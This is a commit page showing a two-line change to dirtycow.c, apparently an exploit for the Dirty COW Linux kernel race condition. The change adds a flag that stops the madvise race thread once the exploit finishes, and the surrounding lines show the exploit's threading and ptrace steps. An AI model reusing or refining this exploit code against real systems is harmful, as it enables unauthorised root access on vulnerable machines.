stop madvise thread when finished

timwr · Jan 10, 2021 · de5c9a2 · de5c9a2
1 parent e4398ca
commit de5c9a2
Showing 1 changed file with 2 additions and 0 deletions.
diff --git a/dirtycow.c b/dirtycow.c
@@ -221,6 +221,8 @@ static void exploit(struct mem_arg *mem_arg)
 			pthread_create(&pth1, NULL, madviseThread, mem_arg);
 			ptrace(PTRACE_TRACEME);
 			kill(getpid(),SIGSTOP);
+			// we're done, tell madviseThread to stop and wait for it
+			mem_arg->stop = 1;
 			pthread_join(pth1, NULL);
 		}
 	} else {